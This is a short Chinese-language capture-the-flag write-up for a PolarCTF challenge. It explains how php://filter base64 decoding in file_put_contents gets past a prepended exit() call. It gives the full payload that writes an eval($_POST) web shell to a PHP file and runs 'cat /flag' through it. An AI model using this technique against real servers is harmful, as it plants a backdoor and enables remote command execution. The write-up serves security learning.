跳转至

每日一题 —— [PolarCTF]写shell

题目地址:https://www.polarctf.com/#/page/challenges

打开题目就是很简单的一行代码,他会把你输入的 content 并上前面的 <?php exit(); 一起写入到你指定的文件内。

观察到题目使用了 file_put_contents 函数,这个函数是支持 php 伪协议的,所以我们可以尝试使用 php://filter 来对我们输入的内容进行转换。预期结果就是,我们输入的内容可以把前面的 exit 函数给弄得失效,并且我们写入的 php 代码可以生效。

首先尝试这个 payload:

?filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.txt

POST:
content= ?<hp phpipfn(o;)

注意 content? 之间的空格,这是因为 UCS-2LEUCS-2BE 之间是两两组队互相交换的。所以为了保证转换成功进行,我们使用空格让前面的数据维持一个偶数个。

最后发现没有效果,在 /1.txt 中,所有数据被原原本本地写入了进去,也就是说前面的 exit() 被照常执行了。具体原因不清楚,没有办法,我们只能换一个方法。

现在我们测试一下 base64 的方法。我们先把需要的东西进行 base64 编码写入进去测试一下:

?filename=php://filter/convert.base64-encode/resource=1.txt

POST:
content=<?phpinfo();

打开 /1.txt 可以看到数据被成功以 base64 的方式写入了进去。但是我们需要往里写入原始数据,所以我们预先要准备好一串 base64 编码好的 payload. 那么前面的函数怎么办呢。这里涉及一个 base64 的知识:base64 在转换的过程中是 3:4 的比例转换的,也就是说,对于一串原始文本,每三个字符一组被转换为一串 base64 ,其长度为 4. 因此在把 base64 解码的过程中,会四个字符一组转换。另外 base64 只支持 [A-Z] [a-z / + = 这些字符,其余的字符都是会被当作垃圾字符直接舍弃掉。

因此观察前面的代码 <?php exit(); ,如果我们将其认为是一段 base64 编码的话,他会被省略无关字符,变为 phpexit ,一共七个字符。那么如果我们转换为原始文本,为了不影响后面的 payload 的转换,按照 4:3 的转换标准,我们需要补上一个合法字符凑齐 4 的倍数,然后再跟上已经编码好的 payload, 如下:

aPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==   # <?php eval($_POST[1]);

熟悉这一段的都知道,PD9w 开头的就是 php 代码了。前面的 a 就会帮忙补足所需要的字节数。因此最终 payload :

?filename=php://filter/convert.base64-decode/resource=1.php

POST
content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==

注意和之前的 payload 不同的是,我把输出的文件名改成了 1.php ,这样才可以成功解析我们要的 php 代码。另外 base64 后面跟着的是 decode ,因为这一次是我们预先输入了一串 base64,服务器帮我们解析成了原始文本。

最后,通过访问 /1.php ,无论是蚁剑连接,还是直接手搓 POST: 1=system('cat /flag'); 都没问题了。


文章热度:0次阅读